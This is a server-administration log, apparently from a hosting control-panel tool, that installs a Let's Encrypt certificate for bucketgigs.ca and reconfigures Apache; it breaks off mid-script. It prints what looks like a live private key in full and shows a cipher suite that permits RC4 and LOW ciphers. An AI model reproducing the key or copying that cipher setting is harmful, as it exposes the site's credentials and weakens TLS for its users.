dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-20 06:01:04: Establishing a connection
2026-03-20 06:01:04: Establishing a connection
2026-03-20 06:01:05: 

PUT: /tmp/pkp257978

#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-20 06:01:05: 

chmod 755 /tmp/pkp257978; /tmp/pkp257978; rm /tmp/pkp257978

2026-03-20 06:01:05: 


1


2026-03-20 06:01:06: Establishing a connection
2026-03-20 06:01:06: 

PUT: /tmp/pkp115139

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > UJx9QPstK3PCf0HaJxoLAJS0G9ZeMwYiysX6ZWexHgU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UJx9QPstK3PCf0HaJxoLAJS0G9ZeMwYiysX6ZWexHgU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UJx9QPstK3PCf0HaJxoLAJS0G9ZeMwYiysX6ZWexHgU
cat > 0PrDwUun2zQuf6jm07TH8eIbX0NgjC7QGVyDRa5Z4z8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0PrDwUun2zQuf6jm07TH8eIbX0NgjC7QGVyDRa5Z4z8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0PrDwUun2zQuf6jm07TH8eIbX0NgjC7QGVyDRa5Z4z8


2026-03-20 06:01:06: 

chmod 755 /tmp/pkp115139; /tmp/pkp115139; rm /tmp/pkp115139

2026-03-20 06:01:06: 




2026-03-20 06:01:17: Establishing a connection
2026-03-20 06:01:18: 

PUT: /tmp/pkp564697

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm UJx9QPstK3PCf0HaJxoLAJS0G9ZeMwYiysX6ZWexHgU
rm 0PrDwUun2zQuf6jm07TH8eIbX0NgjC7QGVyDRa5Z4z8


2026-03-20 06:01:18: 

chmod 755 /tmp/pkp564697; /tmp/pkp564697; rm /tmp/pkp564697

2026-03-20 06:01:18: 




2026-03-20 06:01:18: Establishing a connection
2026-03-20 06:01:18: 

PUT: /tmp/pkp171035

#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt

cat > $temp_file <<'endmsg'
79:96:58:71:b2:c0:1f:59:70:89:de:41:cf:03:45:e9

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBRU13i2aZ0fIpJd0xGTDycmtMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMjQ2WhcNMjYwNjE4MDUwMjQ1WjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
tefL2VlwVZkgHb/6/4ip2O7A/Bps86aOHxpumDKwo7A9EMFr2meXS+dAEKKaHqHS
euC9q8/1rmIyq1bk5RVqGW8Zx9RiFC7yMJSCytoih1dtNkJ5xbxN/MokKyG7rvxB
gluyE2B/SwaWQhVqg1B/NyuI3PCIcBKskl1NM6Q6qK7aWO3uyjWi8t0XYxumq2hI
qJCE3MxHRxl6o6Kn9bi/f/jPF1p78tfPw/pSY3bnOK4Dtj3122rI1qWPLePgyrfv
9KialqGr1UqSGyriaUfTm7O6ddv1Sq0ysXeKGuFH/YZD97WHsCEUGJHkBd5ayHeM
BZ8EfIQqyZ0pqd4FlrExWwIDAQABo4ICLTCCAikwDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFL0w7pQD
vlt1PArN2KRbbTQG/MCPMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIz
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINYnVja2V0Z2lncy5jYYIRd3d3LmJ1Y2tldGdpZ3Mu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMy5jLmxlbmNyLm9yZy80Ni5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcA
dgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZ0J1XGxAAAEAwBH
MEUCICPfCIdFPJiuUlwKG68vght42y3lI71A+p8UXqTz5jllAiEAt0I74DQQkneP
BzcRwOI7uD4WUDzTJz/5P72kADd5uP0AfQAai51pSleYyJmgyoi99I/AtFZgzMNg
DR9x9Gn/x9GsowAAAZ0J1XTkAAgAAAUAV2janQQDAEYwRAIgJmMKpfcCA3vuozt3
qyZ5b2vZQhR51OxOXucrPFLMmWoCIFW2hjSi2CvHiIxEu0W9Wbe7EibvBcDzK7jh
zQE0ZrLxMA0GCSqGSIb3DQEBCwUAA4IBAQCDEjPPlLMC8q8xdVEasJGV2pGH3VPX
9qSoV4ePSNs7L7LQ0lkQr1lj4EL/wgdh0lbfPWCE6rsRpmcnimdvFJSxpvoigCk9
tlU8xzUje1ZtW2HY00U+RET7tbTyDXKTCJ7BpYCUj/6P11Kcva6nXg0KnLN0zkNA
6SOHhK5XciOEeSm9Oysh6h74WoEVRi5Zfdm/4wI38SYmsDOHZuG/maSvcNf++seN
zehIzuGwrBs71VxMLp4al9t3whnjllqC2mKOQongLwYmu1BBPbcHKtLBvCqrcZPs
4B4dFd48c9xD7A5Cbx8hWrlynRj0NMwYgQCRE4phBsxCIxCWJT1SDHZW
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC158vZWXBVmSAd
v/r/iKnY7sD8Gmzzpo4fGm6YMrCjsD0QwWvaZ5dL50AQopoeodJ64L2rz/WuYjKr
VuTlFWoZbxnH1GIULvIwlILK2iKHV202QnnFvE38yiQrIbuu/EGCW7ITYH9LBpZC
FWqDUH83K4jc8IhwEqySXU0zpDqortpY7e7KNaLy3RdjG6araEiokITczEdHGXqj
oqf1uL9/+M8XWnvy18/D+lJjduc4rgO2PfXbasjWpY8t4+DKt+/0qJqWoavVSpIb
KuJpR9Obs7p12/VKrTKxd4oa4Uf9hkP3tYewIRQYkeQF3lrId4wFnwR8hCrJnSmp
3gWWsTFbAgMBAAECggEAKXQsgViff/JIXl88vPUQ983ZDtqaz5+6LZ5ha6/Jj1P/
Zo0dngUTdom5kNDtXGO2SqhisP/QVjAsqd1AhnAt4KPv9RkSTNUx/h4p/D5ftgYX
blER3Rz/jMcoHOgwFD2KVEG/QCkyeQ+EOIUW49v5UcJLC0aJYTjwON6oVEdt0ri7
xMcpmTd+Y3wmrFDsxD5qgc11/53LRVzQ9UOpIx43CbxerDG8Ub2JEU8YRykFqtey
Z/TIaXBADv0f/ANjKwxnBsRCh7nCH+z0XDWw9d3KUv05l1w1LVGwbK+C2pQ2gB5q
Cpo/boKxJf9PjcZzJhzwSdsmUbt+50+l0xnNJhdUMQKBgQDehbO4L2qT16GhIURx
a2hg/LCb3DaSqKiJTmSG9CrF/IFiwaaGzvdZjuFWv0iQIq4O9HxiXYvcTaawMq8u
G/k7f875LeCYsaT0XB9NQZrQKJtUFxPS5Ww1Grs80oN/eCvrbY5yEjgiEIXNT6Ta
MEODNjRx65BiHGPbmZL5lDXX4wKBgQDRRcOtXiWfEtLvCpovUPuxS+uRxUw9y5Jh
Ess1i3KL5eZi+7kgFlIga259NJI5McdwKRQafW5RC6hpnWd7xc6PGnpoUB4isQYq
jmpegAZHvi4tEz69kD7i+snRHLUL5XJOX/JbujmDgw9WB2vUVeaM60NIUEzAawQd
QCPS+85KKQKBgFLjQtqs7uo7PD2lArWs6KiX98FW+g0PPhhHVzLd6MDvGdMLh1hX
59M4Yb/KaOEnyeZQM7UAW4SoeBrSBmcKjIAZT6OJ70txgJx1ZEOG2IAJYDKmlf/M
7c2qM2yojcsBnHqJyLG9D6PAu9aKgEG2EK/jlQ2KTbH+GURHpHPLPXM5AoGABRB9
JcrreigIdsR46sA49xdxQfvWVoCAsFy2Ejunr/8GTkrtNfuUTTiMWfdVupCb1PkJ
hYKXktqHXtbyVCp7TzdC0xdtQ0WpcoozxMmwXTgbAfg/QnMlMnUDQU5Ci2EoHQFx
agrdrXMUge54C5FwnORsomlfEiEE3nhY5Zg2a9ECgYEAqnPbgn2qNGj6T92baKh8
3b9G54zPSI3AispU0920lk9K6GB1JtG4d9W0/bdn8CUWw+v/O/8sCGbTEXzC4LI+
Ppl+L9j3ax+gIgKhUXhVsmze7V2+qGWnRjbATG+JhrVjo/G9JQPWWY0Q/TMDSy49
KWBMrIPU6a//H3xT7bbyRQs=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-20 06:01:18: 

chmod 755 /tmp/pkp171035; /tmp/pkp171035; rm /tmp/pkp171035

2026-03-20 06:01:18: 


dir=/etc/ssl/certs


2026-03-20 06:01:18: 

PUT: /tmp/pkp520863

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-20 06:01:18: 

chmod 755 /tmp/pkp520863; /tmp/pkp520863; rm /tmp/pkp520863

2026-03-20 06:01:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-20 06:01:18: 

PUT: /tmp/pkp915545

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi


2026-03-20 06:01:18: 

chmod 755 /tmp/pkp915545; /tmp/pkp915545; rm /tmp/pkp915545

2026-03-20 06:01:18: 




2026-03-20 06:01:18: 

PUT: /tmp/pkp994247

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-20 06:01:18: 

chmod 755 /tmp/pkp994247; /tmp/pkp994247; rm /tmp/pkp994247

2026-03-20 06:01:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:19: Establishing a connection
2026-03-20 06:01:19: 

PUT: /tmp/pkp455037

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-20 06:01:19: 

chmod 755 /tmp/pkp455037; /tmp/pkp455037; rm /tmp/pkp455037

2026-03-20 06:01:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:19: 

PUT: /tmp/pkp351963

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:19: 

chmod 755 /tmp/pkp351963; /tmp/pkp351963; rm /tmp/pkp351963

2026-03-20 06:01:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf	1379

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-20 06:01:19: 

PUT: /tmp/pkp777977

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
